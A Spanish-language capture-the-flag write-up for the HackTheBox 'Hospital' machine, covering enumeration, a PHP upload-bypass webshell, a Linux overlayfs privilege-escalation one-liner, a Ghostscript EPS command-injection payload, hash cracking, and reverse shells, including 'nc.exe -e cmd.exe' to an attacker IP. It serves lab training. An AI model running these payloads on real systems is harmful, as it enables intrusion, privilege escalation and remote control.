Hospital
Writeup de la máquina Hospital de Hackthebox.
Resumen de la resolución
Texto ___
Enumeración
En primer lugar, debemos desplegar la máquina para poder obtener la Dirección IP todo ello desde la web de HackTheBox y luego desde la terminal debemos conectarnos a la VPN usando el fichero correspondiente de la siguiente forma:
1
openvpn lab_trr0r.opvn
Después le lanzaremos un ping para ver si se encuentra activa dicha máquina, además de ver si acepta la traza ICMP. Comprobamos que efectivamente nos devuelve el paquete que le enviamos por lo que acepta la traza ICMP, gracias al ttl podremos saber si se trata de una máquina Linux (TTL 64 ) y Windows (TTL 128), y vemos que se trata de una máquina Windows pues cuenta con TTL próximo a 128 (127), además gracias al script whichSystem.py podremos conocer dicha información.
El motivo por el cual el TTL es de 63 es porque el paquete pasa por unos intermediarios (routers) antes de llegar a su destino (máquina atacante). Esto podemos comprobarlo con el comando
ping -c 1 -R 10.10.11.241Nmap
En segundo lugar, realizaremos un escaneo por TCP usando Nmap para ver que puertos de la máquina víctima se encuentra abiertos.
1
nmap -p- --open --min-rate 5000 -sS -v -Pn -n 10.10.11.241 -oG allPorts
Observamos como nos reporta que un montón de puertos abiertos, pero únicamente nos interesan los que están marcados en rojo.
Ahora, gracias a la utilidad getPorts definida en nuestra .zshrc podremos copiarnos cómodamente todos los puerto abiertos de la máquina víctima a nuestra clipboard.
A continuación, volveremos a realizar un escaneo con Nmap, pero esta vez se trata de un escaneo más exhaustivo pues lanzaremos unos script básicos de reconocimiento, además de que nos intente reportar la versión y servicio que corre para cada puerto.
1
nmap -p22,53,88,135,139,389,443,445,464,593,636,1801,2103,2105,2107,2179,3268,3269,3389,5985,6404,6406,6407,6409,6612,6633,6648,8080,9389 -sCV 10.10.11.241 -oN targeted
En el segundo escaneo de Nmap, lo que más nos llamará la atención es la existencia del dominio hospital.htb y los páginas webs alojadas en el puerto 8080 y 443.
Puerto 443 - HTTPS (Apache) | RoundCube
Virtual Hosting al /etc/hosts 10.10.11.241 hospital.htb dc.hospital.htb
En la página web del puerto 443 encontraremos un Webmail
Puerto 8080 - HTTP (Apache)
nos registraremos y logearemos
Una vez logeados, veremos que tenemos un campo de subida de ficheros
Explotación
Abuso de subidas de archivos
Si intentamos subir un .php nos dará un error, por lo que en este punto haremos fuzzing de extensiones usando Caido / BurpSuite
PHP File Extensions - HackTricks
Con el típico payload no funciona <?php system($_GET[0]); ?>
<?php phpinfo(); ?> para ver las disable_functions
Básicamente debemos de usar esto <?php echo fread(popen($_GET[0], "r"), 10000); ?>
Subsistema de Linux
Reverse Shell + NetCat (nc -nlvp 443)
Linux Subsystem
Tratamiento de la TTY
Estamos en un Linux dentro de un Windows, es decir un Subsistema de Linux en Windows
GameOver(lay) Ubuntu Privilege Escalation | CVE-2023-2640-CVE-2023-32629
Exploit CVE-2023-2640-CVE-2023-32629 Original POC
1
unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/python3 -c 'import os;os.setuid(0);os.system("whoami && id")'
1
unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/python3 -c 'import os;os.setuid(0);os.system("bash")'
Cracking Hash
Podemos usar hashcat de la siguiente forma para crackearlo
1
hashcat hash /usr/share/wordlists/rockyou.txt -a0
En cambio, si usamos Hashes.com nos los crackeará instántaneamente
Puerto 135 - RPC (rpcclient)
Usando las credenciales obtenidas, veremos que nos podemos conectar a través de ssh, pero nos conectaremos al Subsistema Linux
Probaremos a conectaremos por winrm pero no tendremos éxito. En cambio, a través de smb si que podemos pero no encontraremos ningún recurso interesante. Finalmente, nos conectaremos usando rpcclient usando el siguiente comando.
1
rpcclient 10.10.11.241 -U 'drwilliams' -c "enumdomusers"
Nos crearemos un fichero con los usuarios usando el siguiente oneliner.
1
rpcclient 10.10.11.241 -U 'drwilliams%qwe123!@#' -c "enumdomusers" | grep -oP "\[.*?\]" | grep -vE '0x|SM|-' | tr -d '[]' > users.txt
Usando el siguiente comando, kerbrute, podemos comprobar que usuarios son válidos.
1
kerbrute userenum --dc 10.10.11.241 -d hospital.htb users.txt
Veremos que únicamente hay 3 usuarios válidos, Administrator, drbrown y drwilliams
Probaremos un ASREProast Attack pero veremos que ningún usuario es ASREProasteable
Puerto 443 - HTTPS (Apache) | RoundCube
CVE-2023-36664 | Ghostscript Command Injection
CVE-2023-36664 - Ghostscript Command Injection
Básicamente, para crear un fichero .eps que nos permita ejecutar comandos debemos de lanzar el siguiente exploit.
1
python3 CVE_2023_36664_exploit.py --payload "ping -n 1 10.10.14.52" -g -x eps
Si no queremos usar el exploit de python, alternativamente, podemos crear un fichero con la siguiente estructura e iremos cambiando el comando a ejecutar según nuestras preferencias.
1
2
%!PS-Adobe-3.0 EPSF-3.0
(%pipe%ping -n 1 10.10.14.160) (w) file /DCTDecode filter
[!INFO] Es importante destacar el uso de los parámetros
-ny-c, ya que en Windows el comando ping utiliza-n, mientras que en otros sistemas, como Linux, se emplea-c
Le enviaremos un correo a drbrown@hospital.htb y tras esperar muy poco, veremos como recibimos el ping.
En este punto, lo que haremos será ponernos en escucha con NetCat (rlwrap -nlvp 443), y a continuación mandarnos una Reverse Shell usando el payload (Powershell #3 Base64) de la web RevShells.
Escalada de privilegios
Enumeración local
Nos conectaremos a través de winrm para operar desde una terminal más cómoda con muchas más funcionalidades.
1
evil-winrm -i 10.10.11.241 -u drbrown -p 'chr!$br0wn'
Permisos de escritura en subdirectorios del directorio htdocs
XAMPP
A continuación, subiremos un nc.exe para poder enviarnos una Reverse Shell.
En este punto, lo que haremos será ponernos en escucha con NetCat (rlwrap -nlvp 443), y a continuación mandarnos una Reverse Shell usando el siguiente payload .\nc.exe -e cmd.exe 10.10.14.160 443.








































